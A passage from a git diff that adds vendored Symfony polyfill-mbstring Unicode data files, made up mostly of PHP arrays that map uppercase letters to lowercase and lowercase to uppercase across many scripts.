'ễ', + 'Ệ' => 'ệ', + 'Ỉ' => 'ỉ', + 'Ị' => 'ị', + 'Ọ' => 'ọ', + 'Ỏ' => 'ỏ', + 'Ố' => 'ố', + 'Ồ' => 'ồ', + 'Ổ' => 'ổ', + 'Ỗ' => 'ỗ', + 'Ộ' => 'ộ', + 'Ớ' => 'ớ', + 'Ờ' => 'ờ', + 'Ở' => 'ở', + 'Ỡ' => 'ỡ', + 'Ợ' => 'ợ', + 'Ụ' => 'ụ', + 'Ủ' => 'ủ', + 'Ứ' => 'ứ', + 'Ừ' => 'ừ', + 'Ử' => 'ử', + 'Ữ' => 'ữ', + 'Ự' => 'ự', + 'Ỳ' => 'ỳ', + 'Ỵ' => 'ỵ', + 'Ỷ' => 'ỷ', + 'Ỹ' => 'ỹ', + 'Ỻ' => 'ỻ', + 'Ỽ' => 'ỽ', + 'Ỿ' => 'ỿ', + 'Ἀ' => 'ἀ', + 'Ἁ' => 'ἁ', + 'Ἂ' => 'ἂ', + 'Ἃ' => 'ἃ', + 'Ἄ' => 'ἄ', + 'Ἅ' => 'ἅ', + 'Ἆ' => 'ἆ', + 'Ἇ' => 'ἇ', + 'Ἐ' => 'ἐ', + 'Ἑ' => 'ἑ', + 'Ἒ' => 'ἒ', + 'Ἓ' => 'ἓ', + 'Ἔ' => 'ἔ', + 'Ἕ' => 'ἕ', + 'Ἠ' => 'ἠ', + 'Ἡ' => 'ἡ', + 'Ἢ' => 'ἢ', + 'Ἣ' => 'ἣ', + 'Ἤ' => 'ἤ', + 'Ἥ' => 'ἥ', + 'Ἦ' => 'ἦ', + 'Ἧ' => 'ἧ', + 'Ἰ' => 'ἰ', + 'Ἱ' => 'ἱ', + 'Ἲ' => 'ἲ', + 'Ἳ' => 'ἳ', + 'Ἴ' => 'ἴ', + 'Ἵ' => 'ἵ', + 'Ἶ' => 'ἶ', + 'Ἷ' => 'ἷ', + 'Ὀ' => 'ὀ', + 'Ὁ' => 'ὁ', + 'Ὂ' => 'ὂ', + 'Ὃ' => 'ὃ', + 'Ὄ' => 'ὄ', + 'Ὅ' => 'ὅ', + 'Ὑ' => 'ὑ', + 'Ὓ' => 'ὓ', + 'Ὕ' => 'ὕ', + 'Ὗ' => 'ὗ', + 'Ὠ' => 'ὠ', + 'Ὡ' => 'ὡ', + 'Ὢ' => 'ὢ', + 'Ὣ' => 'ὣ', + 'Ὤ' => 'ὤ', + 'Ὥ' => 'ὥ', + 'Ὦ' => 'ὦ', + 'Ὧ' => 'ὧ', + 'ᾈ' => 'ᾀ', + 'ᾉ' => 'ᾁ', + 'ᾊ' => 'ᾂ', + 'ᾋ' => 'ᾃ', + 'ᾌ' => 'ᾄ', + 'ᾍ' => 'ᾅ', + 'ᾎ' => 'ᾆ', + 'ᾏ' => 'ᾇ', + 'ᾘ' => 'ᾐ', + 'ᾙ' => 'ᾑ', + 'ᾚ' => 'ᾒ', + 'ᾛ' => 'ᾓ', + 'ᾜ' => 'ᾔ', + 'ᾝ' => 'ᾕ', + 'ᾞ' => 'ᾖ', + 'ᾟ' => 'ᾗ', + 'ᾨ' => 'ᾠ', + 'ᾩ' => 'ᾡ', + 'ᾪ' => 'ᾢ', + 'ᾫ' => 'ᾣ', + 'ᾬ' => 'ᾤ', + 'ᾭ' => 'ᾥ', + 'ᾮ' => 'ᾦ', + 'ᾯ' => 'ᾧ', + 'Ᾰ' => 'ᾰ', + 'Ᾱ' => 'ᾱ', + 'Ὰ' => 'ὰ', + 'Ά' => 'ά', + 'ᾼ' => 'ᾳ', + 'Ὲ' => 'ὲ', + 'Έ' => 'έ', + 'Ὴ' => 'ὴ', + 'Ή' => 'ή', + 'ῌ' => 'ῃ', + 'Ῐ' => 'ῐ', + 'Ῑ' => 'ῑ', + 'Ὶ' => 'ὶ', + 'Ί' => 'ί', + 'Ῠ' => 'ῠ', + 'Ῡ' => 'ῡ', + 'Ὺ' => 'ὺ', + 'Ύ' => 'ύ', + 'Ῥ' => 'ῥ', + 'Ὸ' => 'ὸ', + 'Ό' => 'ό', + 'Ὼ' => 'ὼ', + 'Ώ' => 'ώ', + 'ῼ' => 'ῳ', + 'Ω' => 'ω', + 'K' => 'k', + 'Å' => 'å', + 'Ⅎ' => 'ⅎ', + 'Ⅰ' => 'ⅰ', + 'Ⅱ' => 'ⅱ', + 'Ⅲ' => 'ⅲ', + 'Ⅳ' => 'ⅳ', + 'Ⅴ' => 'ⅴ', + 'Ⅵ' => 'ⅵ', + 'Ⅶ' => 'ⅶ', + 'Ⅷ' => 'ⅷ', + 'Ⅸ' => 'ⅸ', + 'Ⅹ' => 'ⅹ', + 'Ⅺ' => 'ⅺ', + 'Ⅻ' => 'ⅻ', + 'Ⅼ' => 'ⅼ', + 'Ⅽ' => 'ⅽ', + 'Ⅾ' => 'ⅾ', + 'Ⅿ' => 'ⅿ', + 'Ↄ' => 'ↄ', + 'Ⓐ' => 'ⓐ', + 'Ⓑ' => 'ⓑ', + 'Ⓒ' => 'ⓒ', + 'Ⓓ' => 'ⓓ', + 'Ⓔ' => 'ⓔ', + 'Ⓕ' => 'ⓕ', + 'Ⓖ' => 'ⓖ', + 'Ⓗ' => 'ⓗ', + 'Ⓘ' => 'ⓘ', + 'Ⓙ' => 'ⓙ', + 'Ⓚ' => 'ⓚ', + 'Ⓛ' => 'ⓛ', + 'Ⓜ' => 'ⓜ', + 'Ⓝ' => 'ⓝ', + 'Ⓞ' => 'ⓞ', + 'Ⓟ' => 'ⓟ', + 'Ⓠ' => 'ⓠ', + 'Ⓡ' => 'ⓡ', + 'Ⓢ' => 'ⓢ', + 'Ⓣ' => 'ⓣ', + 'Ⓤ' => 'ⓤ', + 'Ⓥ' => 'ⓥ', + 'Ⓦ' => 'ⓦ', + 'Ⓧ' => 'ⓧ', + 'Ⓨ' => 'ⓨ', + 'Ⓩ' => 'ⓩ', + 'Ⰰ' => 'ⰰ', + 'Ⰱ' => 'ⰱ', + 'Ⰲ' => 'ⰲ', + 'Ⰳ' => 'ⰳ', + 'Ⰴ' => 'ⰴ', + 'Ⰵ' => 'ⰵ', + 'Ⰶ' => 'ⰶ', + 'Ⰷ' => 'ⰷ', + 'Ⰸ' => 'ⰸ', + 'Ⰹ' => 'ⰹ', + 'Ⰺ' => 'ⰺ', + 'Ⰻ' => 'ⰻ', + 'Ⰼ' => 'ⰼ', + 'Ⰽ' => 'ⰽ', + 'Ⰾ' => 'ⰾ', + 'Ⰿ' => 'ⰿ', + 'Ⱀ' => 'ⱀ', + 'Ⱁ' => 'ⱁ', + 'Ⱂ' => 'ⱂ', + 'Ⱃ' => 'ⱃ', + 'Ⱄ' => 'ⱄ', + 'Ⱅ' => 'ⱅ', + 'Ⱆ' => 'ⱆ', + 'Ⱇ' => 'ⱇ', + 'Ⱈ' => 'ⱈ', + 'Ⱉ' => 'ⱉ', + 'Ⱊ' => 'ⱊ', + 'Ⱋ' => 'ⱋ', + 'Ⱌ' => 'ⱌ', + 'Ⱍ' => 'ⱍ', + 'Ⱎ' => 'ⱎ', + 'Ⱏ' => 'ⱏ', + 'Ⱐ' => 'ⱐ', + 'Ⱑ' => 'ⱑ', + 'Ⱒ' => 'ⱒ', + 'Ⱓ' => 'ⱓ', + 'Ⱔ' => 'ⱔ', + 'Ⱕ' => 'ⱕ', + 'Ⱖ' => 'ⱖ', + 'Ⱗ' => 'ⱗ', + 'Ⱘ' => 'ⱘ', + 'Ⱙ' => 'ⱙ', + 'Ⱚ' => 'ⱚ', + 'Ⱛ' => 'ⱛ', + 'Ⱜ' => 'ⱜ', + 'Ⱝ' => 'ⱝ', + 'Ⱞ' => 'ⱞ', + 'Ⱡ' => 'ⱡ', + 'Ɫ' => 'ɫ', + 'Ᵽ' => 'ᵽ', + 'Ɽ' => 'ɽ', + 'Ⱨ' => 'ⱨ', + 'Ⱪ' => 'ⱪ', + 'Ⱬ' => 'ⱬ', + 'Ɑ' => 'ɑ', + 'Ɱ' => 'ɱ', + 'Ɐ' => 'ɐ', + 'Ɒ' => 'ɒ', + 'Ⱳ' => 'ⱳ', + 'Ⱶ' => 'ⱶ', + 'Ȿ' => 'ȿ', + 'Ɀ' => 'ɀ', + 'Ⲁ' => 'ⲁ', + 'Ⲃ' => 'ⲃ', + 'Ⲅ' => 'ⲅ', + 'Ⲇ' => 'ⲇ', + 'Ⲉ' => 'ⲉ', + 'Ⲋ' => 'ⲋ', + 'Ⲍ' => 'ⲍ', + 'Ⲏ' => 'ⲏ', + 'Ⲑ' => 'ⲑ', + 'Ⲓ' => 'ⲓ', + 'Ⲕ' => 'ⲕ', + 'Ⲗ' => 'ⲗ', + 'Ⲙ' => 'ⲙ', + 'Ⲛ' => 'ⲛ', + 'Ⲝ' => 'ⲝ', + 'Ⲟ' => 'ⲟ', + 'Ⲡ' => 'ⲡ', + 'Ⲣ' => 'ⲣ', + 'Ⲥ' => 'ⲥ', + 'Ⲧ' => 'ⲧ', + 'Ⲩ' => 'ⲩ', + 'Ⲫ' => 'ⲫ', + 'Ⲭ' => 'ⲭ', + 'Ⲯ' => 'ⲯ', + 'Ⲱ' => 'ⲱ', + 'Ⲳ' => 'ⲳ', + 'Ⲵ' => 'ⲵ', + 'Ⲷ' => 'ⲷ', + 'Ⲹ' => 'ⲹ', + 'Ⲻ' => 'ⲻ', + 'Ⲽ' => 'ⲽ', + 'Ⲿ' => 'ⲿ', + 'Ⳁ' => 'ⳁ', + 'Ⳃ' => 'ⳃ', + 'Ⳅ' => 'ⳅ', + 'Ⳇ' => 'ⳇ', + 'Ⳉ' => 'ⳉ', + 'Ⳋ' => 'ⳋ', + 'Ⳍ' => 'ⳍ', + 'Ⳏ' => 'ⳏ', + 'Ⳑ' => 'ⳑ', + 'Ⳓ' => 'ⳓ', + 'Ⳕ' => 'ⳕ', + 'Ⳗ' => 'ⳗ', + 'Ⳙ' => 'ⳙ', + 'Ⳛ' => 'ⳛ', + 'Ⳝ' => 'ⳝ', + 'Ⳟ' => 'ⳟ', + 'Ⳡ' => 'ⳡ', + 'Ⳣ' => 'ⳣ', + 'Ⳬ' => 'ⳬ', + 'Ⳮ' => 'ⳮ', + 'Ⳳ' => 'ⳳ', + 'Ꙁ' => 'ꙁ', + 'Ꙃ' => 'ꙃ', + 'Ꙅ' => 'ꙅ', + 'Ꙇ' => 'ꙇ', + 'Ꙉ' => 'ꙉ', + 'Ꙋ' => 'ꙋ', + 'Ꙍ' => 'ꙍ', + 'Ꙏ' => 'ꙏ', + 'Ꙑ' => 'ꙑ', + 'Ꙓ' => 'ꙓ', + 'Ꙕ' => 'ꙕ', + 'Ꙗ' => 'ꙗ', + 'Ꙙ' => 'ꙙ', + 'Ꙛ' => 'ꙛ', + 'Ꙝ' => 'ꙝ', + 'Ꙟ' => 'ꙟ', + 'Ꙡ' => 'ꙡ', + 'Ꙣ' => 'ꙣ', + 'Ꙥ' => 'ꙥ', + 'Ꙧ' => 'ꙧ', + 'Ꙩ' => 'ꙩ', + 'Ꙫ' => 'ꙫ', + 'Ꙭ' => 'ꙭ', + 'Ꚁ' => 'ꚁ', + 'Ꚃ' => 'ꚃ', + 'Ꚅ' => 'ꚅ', + 'Ꚇ' => 'ꚇ', + 'Ꚉ' => 'ꚉ', + 'Ꚋ' => 'ꚋ', + 'Ꚍ' => 'ꚍ', + 'Ꚏ' => 'ꚏ', + 'Ꚑ' => 'ꚑ', + 'Ꚓ' => 'ꚓ', + 'Ꚕ' => 'ꚕ', + 'Ꚗ' => 'ꚗ', + 'Ꚙ' => 'ꚙ', + 'Ꚛ' => 'ꚛ', + 'Ꜣ' => 'ꜣ', + 'Ꜥ' => 'ꜥ', + 'Ꜧ' => 'ꜧ', + 'Ꜩ' => 'ꜩ', + 'Ꜫ' => 'ꜫ', + 'Ꜭ' => 'ꜭ', + 'Ꜯ' => 'ꜯ', + 'Ꜳ' => 'ꜳ', + 'Ꜵ' => 'ꜵ', + 'Ꜷ' => 'ꜷ', + 'Ꜹ' => 'ꜹ', + 'Ꜻ' => 'ꜻ', + 'Ꜽ' => 'ꜽ', + 'Ꜿ' => 'ꜿ', + 'Ꝁ' => 'ꝁ', + 'Ꝃ' => 'ꝃ', + 'Ꝅ' => 'ꝅ', + 'Ꝇ' => 'ꝇ', + 'Ꝉ' => 'ꝉ', + 'Ꝋ' => 'ꝋ', + 'Ꝍ' => 'ꝍ', + 'Ꝏ' => 'ꝏ', + 'Ꝑ' => 'ꝑ', + 'Ꝓ' => 'ꝓ', + 'Ꝕ' => 'ꝕ', + 'Ꝗ' => 'ꝗ', + 'Ꝙ' => 'ꝙ', + 'Ꝛ' => 'ꝛ', + 'Ꝝ' => 'ꝝ', + 'Ꝟ' => 'ꝟ', + 'Ꝡ' => 'ꝡ', + 'Ꝣ' => 'ꝣ', + 'Ꝥ' => 'ꝥ', + 'Ꝧ' => 'ꝧ', + 'Ꝩ' => 'ꝩ', + 'Ꝫ' => 'ꝫ', + 'Ꝭ' => 'ꝭ', + 'Ꝯ' => 'ꝯ', + 'Ꝺ' => 'ꝺ', + 'Ꝼ' => 'ꝼ', + 'Ᵹ' => 'ᵹ', + 'Ꝿ' => 'ꝿ', + 'Ꞁ' => 'ꞁ', + 'Ꞃ' => 'ꞃ', + 'Ꞅ' => 'ꞅ', + 'Ꞇ' => 'ꞇ', + 'Ꞌ' => 'ꞌ', + 'Ɥ' => 'ɥ', + 'Ꞑ' => 'ꞑ', + 'Ꞓ' => 'ꞓ', + 'Ꞗ' => 'ꞗ', + 'Ꞙ' => 'ꞙ', + 'Ꞛ' => 'ꞛ', + 'Ꞝ' => 'ꞝ', + 'Ꞟ' => 'ꞟ', + 'Ꞡ' => 'ꞡ', + 'Ꞣ' => 'ꞣ', + 'Ꞥ' => 'ꞥ', + 'Ꞧ' => 'ꞧ', + 'Ꞩ' => 'ꞩ', + 'Ɦ' => 'ɦ', + 'Ɜ' => 'ɜ', + 'Ɡ' => 'ɡ', + 'Ɬ' => 'ɬ', + 'Ɪ' => 'ɪ', + 'Ʞ' => 'ʞ', + 'Ʇ' => 'ʇ', + 'Ʝ' => 'ʝ', + 'Ꭓ' => 'ꭓ', + 'Ꞵ' => 'ꞵ', + 'Ꞷ' => 'ꞷ', + 'Ꞹ' => 'ꞹ', + 'Ꞻ' => 'ꞻ', + 'Ꞽ' => 'ꞽ', + 'Ꞿ' => 'ꞿ', + 'Ꟃ' => 'ꟃ', + 'Ꞔ' => 'ꞔ', + 'Ʂ' => 'ʂ', + 'Ᶎ' => 'ᶎ', + 'Ꟈ' => 'ꟈ', + 'Ꟊ' => 'ꟊ', + 'Ꟶ' => 'ꟶ', + 'A' => 'a', + 'B' => 'b', + 'C' => 'c', + 'D' => 'd', + 'E' => 'e', + 'F' => 'f', + 'G' => 'g', + 'H' => 'h', + 'I' => 'i', + 'J' => 'j', + 'K' => 'k', + 'L' => 'l', + 'M' => 'm', + 'N' => 'n', + 'O' => 'o', + 'P' => 'p', + 'Q' => 'q', + 'R' => 'r', + 'S' => 's', + 'T' => 't', + 'U' => 'u', + 'V' => 'v', + 'W' => 'w', + 'X' => 'x', + 'Y' => 'y', + 'Z' => 'z', + '𐐀' => '𐐨', + '𐐁' => '𐐩', + '𐐂' => '𐐪', + '𐐃' => '𐐫', + '𐐄' => '𐐬', + '𐐅' => '𐐭', + '𐐆' => '𐐮', + '𐐇' => '𐐯', + '𐐈' => '𐐰', + '𐐉' => '𐐱', + '𐐊' => '𐐲', + '𐐋' => '𐐳', + '𐐌' => '𐐴', + '𐐍' => '𐐵', + '𐐎' => '𐐶', + '𐐏' => '𐐷', + '𐐐' => '𐐸', + '𐐑' => '𐐹', + '𐐒' => '𐐺', + '𐐓' => '𐐻', + '𐐔' => '𐐼', + '𐐕' => '𐐽', + '𐐖' => '𐐾', + '𐐗' => '𐐿', + '𐐘' => '𐑀', + '𐐙' => '𐑁', + '𐐚' => '𐑂', + '𐐛' => '𐑃', + '𐐜' => '𐑄', + '𐐝' => '𐑅', + '𐐞' => '𐑆', + '𐐟' => '𐑇', + '𐐠' => '𐑈', + '𐐡' => '𐑉', + '𐐢' => '𐑊', + '𐐣' => '𐑋', + '𐐤' => '𐑌', + '𐐥' => '𐑍', + '𐐦' => '𐑎', + '𐐧' => '𐑏', + '𐒰' => '𐓘', + '𐒱' => '𐓙', + '𐒲' => '𐓚', + '𐒳' => '𐓛', + '𐒴' => '𐓜', + '𐒵' => '𐓝', + '𐒶' => '𐓞', + '𐒷' => '𐓟', + '𐒸' => '𐓠', + '𐒹' => '𐓡', + '𐒺' => '𐓢', + '𐒻' => '𐓣', + '𐒼' => '𐓤', + '𐒽' => '𐓥', + '𐒾' => '𐓦', + '𐒿' => '𐓧', + '𐓀' => '𐓨', + '𐓁' => '𐓩', + '𐓂' => '𐓪', + '𐓃' => '𐓫', + '𐓄' => '𐓬', + '𐓅' => '𐓭', + '𐓆' => '𐓮', + '𐓇' => '𐓯', + '𐓈' => '𐓰', + '𐓉' => '𐓱', + '𐓊' => '𐓲', + '𐓋' => '𐓳', + '𐓌' => '𐓴', + '𐓍' => '𐓵', + '𐓎' => '𐓶', + '𐓏' => '𐓷', + '𐓐' => '𐓸', + '𐓑' => '𐓹', + '𐓒' => '𐓺', + '𐓓' => '𐓻', + '𐲀' => '𐳀', + '𐲁' => '𐳁', + '𐲂' => '𐳂', + '𐲃' => '𐳃', + '𐲄' => '𐳄', + '𐲅' => '𐳅', + '𐲆' => '𐳆', + '𐲇' => '𐳇', + '𐲈' => '𐳈', + '𐲉' => '𐳉', + '𐲊' => '𐳊', + '𐲋' => '𐳋', + '𐲌' => '𐳌', + '𐲍' => '𐳍', + '𐲎' => '𐳎', + '𐲏' => '𐳏', + '𐲐' => '𐳐', + '𐲑' => '𐳑', + '𐲒' => '𐳒', + '𐲓' => '𐳓', + '𐲔' => '𐳔', + '𐲕' => '𐳕', + '𐲖' => '𐳖', + '𐲗' => '𐳗', + '𐲘' => '𐳘', + '𐲙' => '𐳙', + '𐲚' => '𐳚', + '𐲛' => '𐳛', + '𐲜' => '𐳜', + '𐲝' => '𐳝', + '𐲞' => '𐳞', + '𐲟' => '𐳟', + '𐲠' => '𐳠', + '𐲡' => '𐳡', + '𐲢' => '𐳢', + '𐲣' => '𐳣', + '𐲤' => '𐳤', + '𐲥' => '𐳥', + '𐲦' => '𐳦', + '𐲧' => '𐳧', + '𐲨' => '𐳨', + '𐲩' => '𐳩', + '𐲪' => '𐳪', + '𐲫' => '𐳫', + '𐲬' => '𐳬', + '𐲭' => '𐳭', + '𐲮' => '𐳮', + '𐲯' => '𐳯', + '𐲰' => '𐳰', + '𐲱' => '𐳱', + '𐲲' => '𐳲', + '𑢠' => '𑣀', + '𑢡' => '𑣁', + '𑢢' => '𑣂', + '𑢣' => '𑣃', + '𑢤' => '𑣄', + '𑢥' => '𑣅', + '𑢦' => '𑣆', + '𑢧' => '𑣇', + '𑢨' => '𑣈', + '𑢩' => '𑣉', + '𑢪' => '𑣊', + '𑢫' => '𑣋', + '𑢬' => '𑣌', + '𑢭' => '𑣍', + '𑢮' => '𑣎', + '𑢯' => '𑣏', + '𑢰' => '𑣐', + '𑢱' => '𑣑', + '𑢲' => '𑣒', + '𑢳' => '𑣓', + '𑢴' => '𑣔', + '𑢵' => '𑣕', + '𑢶' => '𑣖', + '𑢷' => '𑣗', + '𑢸' => '𑣘', + '𑢹' => '𑣙', + '𑢺' => '𑣚', + '𑢻' => '𑣛', + '𑢼' => '𑣜', + '𑢽' => '𑣝', + '𑢾' => '𑣞', + '𑢿' => '𑣟', + '𖹀' => '𖹠', + '𖹁' => '𖹡', + '𖹂' => '𖹢', + '𖹃' => '𖹣', + '𖹄' => '𖹤', + '𖹅' => '𖹥', + '𖹆' => '𖹦', + '𖹇' => '𖹧', + '𖹈' => '𖹨', + '𖹉' => '𖹩', + '𖹊' => '𖹪', + '𖹋' => '𖹫', + '𖹌' => '𖹬', + '𖹍' => '𖹭', + '𖹎' => '𖹮', + '𖹏' => '𖹯', + '𖹐' => '𖹰', + '𖹑' => '𖹱', + '𖹒' => '𖹲', + '𖹓' => '𖹳', + '𖹔' => '𖹴', + '𖹕' => '𖹵', + '𖹖' => '𖹶', + '𖹗' => '𖹷', + '𖹘' => '𖹸', + '𖹙' => '𖹹', + '𖹚' => '𖹺', + '𖹛' => '𖹻', + '𖹜' => '𖹼', + '𖹝' => '𖹽', + '𖹞' => '𖹾', + '𖹟' => '𖹿', + '𞤀' => '𞤢', + '𞤁' => '𞤣', + '𞤂' => '𞤤', + '𞤃' => '𞤥', + '𞤄' => '𞤦', + '𞤅' => '𞤧', + '𞤆' => '𞤨', + '𞤇' => '𞤩', + '𞤈' => '𞤪', + '𞤉' => '𞤫', + '𞤊' => '𞤬', + '𞤋' => '𞤭', + '𞤌' => '𞤮', + '𞤍' => '𞤯', + '𞤎' => '𞤰', + '𞤏' => '𞤱', + '𞤐' => '𞤲', + '𞤑' => '𞤳', + '𞤒' => '𞤴', + '𞤓' => '𞤵', + '𞤔' => '𞤶', + '𞤕' => '𞤷', + '𞤖' => '𞤸', + '𞤗' => '𞤹', + '𞤘' => '𞤺', + '𞤙' => '𞤻', + '𞤚' => '𞤼', + '𞤛' => '𞤽', + '𞤜' => '𞤾', + '𞤝' => '𞤿', + '𞤞' => '𞥀', + '𞤟' => '𞥁', + '𞤠' => '𞥂', + '𞤡' => '𞥃', +); diff --git a/vendor/symfony/polyfill-mbstring/Resources/unidata/titleCaseRegexp.php b/vendor/symfony/polyfill-mbstring/Resources/unidata/titleCaseRegexp.php new file mode 100644 index 0000000..2a8f6e7 --- /dev/null +++ b/vendor/symfony/polyfill-mbstring/Resources/unidata/titleCaseRegexp.php @@ -0,0 +1,5 @@ + 'A', + 'b' => 'B', + 'c' => 'C', + 'd' => 'D', + 'e' => 'E', + 'f' => 'F', + 'g' => 'G', + 'h' => 'H', + 'i' => 'I', + 'j' => 'J', + 'k' => 'K', + 'l' => 'L', + 'm' => 'M', + 'n' => 'N', + 'o' => 'O', + 'p' => 'P', + 'q' => 'Q', + 'r' => 'R', + 's' => 'S', + 't' => 'T', + 'u' => 'U', + 'v' => 'V', + 'w' => 'W', + 'x' => 'X', + 'y' => 'Y', + 'z' => 'Z', + 'µ' => 'Μ', + 'à' => 'À', + 'á' => 'Á', + 'â' => 'Â', + 'ã' => 'Ã', + 'ä' => 'Ä', + 'å' => 'Å', + 'æ' => 'Æ', + 'ç' => 'Ç', + 'è' => 'È', + 'é' => 'É', + 'ê' => 'Ê', + 'ë' => 'Ë', + 'ì' => 'Ì', + 'í' => 'Í', + 'î' => 'Î', + 'ï' => 'Ï', + 'ð' => 'Ð', + 'ñ' => 'Ñ', + 'ò' => 'Ò', + 'ó' => 'Ó', + 'ô' => 'Ô', + 'õ' => 'Õ', + 'ö' => 'Ö', + 'ø' => 'Ø', + 'ù' => 'Ù', + 'ú' => 'Ú', + 'û' => 'Û', + 'ü' => 'Ü', + 'ý' => 'Ý', + 'þ' => 'Þ', + 'ÿ' => 'Ÿ', + 'ā' => 'Ā', + 'ă' => 'Ă', + 'ą' => 'Ą', + 'ć' => 'Ć', + 'ĉ' => 'Ĉ', + 'ċ' => 'Ċ', + 'č' => 'Č', + 'ď' => 'Ď', + 'đ' => 'Đ', + 'ē' => 'Ē', + 'ĕ' => 'Ĕ', + 'ė' => 'Ė', + 'ę' => 'Ę', + 'ě' => 'Ě', + 'ĝ' => 'Ĝ', + 'ğ' => 'Ğ', + 'ġ' => 'Ġ', + 'ģ' => 'Ģ', + 'ĥ' => 'Ĥ', + 'ħ' => 'Ħ', + 'ĩ' => 'Ĩ', + 'ī' => 'Ī', + 'ĭ' => 'Ĭ', + 'į' => 'Į', + 'ı' => 'I', + 'ij' => 'IJ', + 'ĵ' => 'Ĵ', + 'ķ' => 'Ķ', + 'ĺ' => 'Ĺ', + 'ļ' => 'Ļ', + 'ľ' => 'Ľ', + 'ŀ' => 'Ŀ', + 'ł' => 'Ł', + 'ń' => 'Ń', + 'ņ' => 'Ņ', + 'ň' => 'Ň', + 'ŋ' => 'Ŋ', + 'ō' => 'Ō', + 'ŏ' => 'Ŏ', + 'ő' => 'Ő', + 'œ' => 'Œ', + 'ŕ' => 'Ŕ', + 'ŗ' => 'Ŗ', + 'ř' => 'Ř', + 'ś' => 'Ś', + 'ŝ' => 'Ŝ', + 'ş' => 'Ş', + 'š' => 'Š', + 'ţ' => 'Ţ', + 'ť' => 'Ť', + 'ŧ' => 'Ŧ', + 'ũ' => 'Ũ', + 'ū' => 'Ū', + 'ŭ' => 'Ŭ', + 'ů' => 'Ů', + 'ű' => 'Ű', + 'ų' => 'Ų', + 'ŵ' => 'Ŵ', + 'ŷ' => 'Ŷ', + 'ź' => 'Ź', + 'ż' => 'Ż', + 'ž' => 'Ž', + 'ſ' => 'S', + 'ƀ' => 'Ƀ', + 'ƃ' => 'Ƃ', + 'ƅ' => 'Ƅ', + 'ƈ' => 'Ƈ', + 'ƌ' => 'Ƌ', + 'ƒ' => 'Ƒ', + 'ƕ' => 'Ƕ', + 'ƙ' => 'Ƙ', + 'ƚ' => 'Ƚ', + 'ƞ' => 'Ƞ', + 'ơ' => 'Ơ', + 'ƣ' => 'Ƣ', + 'ƥ' => 'Ƥ', + 'ƨ' => 'Ƨ', + 'ƭ' => 'Ƭ', + 'ư' => 'Ư', + 'ƴ' => 'Ƴ', + 'ƶ' => 'Ƶ', + 'ƹ' => 'Ƹ', + 'ƽ' => 'Ƽ', + 'ƿ' => 'Ƿ', + 'Dž' => 'DŽ', + 'dž' => 'DŽ', + 'Lj' => 'LJ', + 'lj' => 'LJ', + 'Nj' => 'NJ', + 'nj' => 'NJ', + 'ǎ' => 'Ǎ', + 'ǐ' => 'Ǐ', + 'ǒ' => 'Ǒ', + 'ǔ' => 'Ǔ', + 'ǖ' => 'Ǖ', + 'ǘ' => 'Ǘ', + 'ǚ' => 'Ǚ', + 'ǜ' => 'Ǜ', + 'ǝ' => 'Ǝ', + 'ǟ' => 'Ǟ', + 'ǡ' => 'Ǡ', + 'ǣ' => 'Ǣ', + 'ǥ' => 'Ǥ', + 'ǧ' => 'Ǧ', + 'ǩ' => 'Ǩ', + 'ǫ' => 'Ǫ', + 'ǭ' => 'Ǭ', + 'ǯ' => 'Ǯ', + 'Dz' => 'DZ', + 'dz' => 'DZ', + 'ǵ' => 'Ǵ', + 'ǹ' => 'Ǹ', + 'ǻ' => 'Ǻ', + 'ǽ' => 'Ǽ', + 'ǿ' => 'Ǿ', + 'ȁ' => 'Ȁ', + 'ȃ' => 'Ȃ', + 'ȅ' => 'Ȅ', + 'ȇ' => 'Ȇ', + 'ȉ' => 'Ȉ', + 'ȋ' => 'Ȋ', + 'ȍ' => 'Ȍ', + 'ȏ' => 'Ȏ', + 'ȑ' => 'Ȑ', + 'ȓ' => 'Ȓ', + 'ȕ' => 'Ȕ', + 'ȗ' => 'Ȗ', + 'ș' => 'Ș', + 'ț' => 'Ț', + 'ȝ' => 'Ȝ', + 'ȟ' => 'Ȟ', + 'ȣ' => 'Ȣ', + 'ȥ' => 'Ȥ', + 'ȧ' => 'Ȧ', + 'ȩ' => 'Ȩ', + 'ȫ' => 'Ȫ', + 'ȭ' => 'Ȭ', + 'ȯ' => 'Ȯ', + 'ȱ' => 'Ȱ', + 'ȳ' => 'Ȳ', + 'ȼ' => 'Ȼ', + 'ȿ' => 'Ȿ', + 'ɀ' => 'Ɀ', + 'ɂ' => 'Ɂ', + 'ɇ' => 'Ɇ', + 'ɉ' => 'Ɉ', + 'ɋ' => 'Ɋ', + 'ɍ' => 'Ɍ', + 'ɏ' => 'Ɏ', + 'ɐ' => 'Ɐ', + 'ɑ' => 'Ɑ', + 'ɒ' => 'Ɒ', + 'ɓ' => 'Ɓ', + 'ɔ' => 'Ɔ', + 'ɖ' => 'Ɖ', + 'ɗ' => 'Ɗ', + 'ə' => 'Ə', + 'ɛ' => 'Ɛ', + 'ɜ' => 'Ɜ', + 'ɠ' => 'Ɠ', + 'ɡ' => 'Ɡ', + 'ɣ' => 'Ɣ', + 'ɥ' => 'Ɥ', + 'ɦ' => 'Ɦ', + 'ɨ' => 'Ɨ', + 'ɩ' => 'Ɩ', + 'ɪ' => 'Ɪ', + 'ɫ' => 'Ɫ', + 'ɬ' => 'Ɬ', + 'ɯ' => 'Ɯ', + 'ɱ' => 'Ɱ', + 'ɲ' => 'Ɲ', + 'ɵ' => 'Ɵ', + 'ɽ' => 'Ɽ', + 'ʀ' => 'Ʀ', + 'ʂ' => 'Ʂ', + 'ʃ' => 'Ʃ', + 'ʇ' => 'Ʇ', + 'ʈ' => 'Ʈ', + 'ʉ' => 'Ʉ', + 'ʊ' => 'Ʊ', + 'ʋ' => 'Ʋ', + 'ʌ' => 'Ʌ', + 'ʒ' => 'Ʒ', + 'ʝ' => 'Ʝ', + 'ʞ' => 'Ʞ', + 'ͅ' => 'Ι', + 'ͱ' => 'Ͱ', + 'ͳ' => 'Ͳ', + 'ͷ' => 'Ͷ', + 'ͻ' => 'Ͻ', + 'ͼ' => 'Ͼ', + 'ͽ' => 'Ͽ', + 'ά' => 'Ά', + 'έ' => 'Έ', + 'ή' => 'Ή', + 'ί' => 'Ί', + 'α' => 'Α', + 'β' => 'Β', + 'γ' => 'Γ', + 'δ' => 'Δ', + 'ε' => 'Ε', + 'ζ' => 'Ζ', + 'η' => 'Η', + 'θ' => 'Θ', + 'ι' => 'Ι', + 'κ' => 'Κ', + 'λ' => 'Λ', + 'μ' => 'Μ', + 'ν' => 'Ν', + 'ξ' => 'Ξ', + 'ο' => 'Ο', + 'π' => 'Π', + 'ρ' => 'Ρ', + 'ς' => 'Σ', + 'σ' => 'Σ', + 'τ' => 'Τ', + 'υ' => 'Υ', + 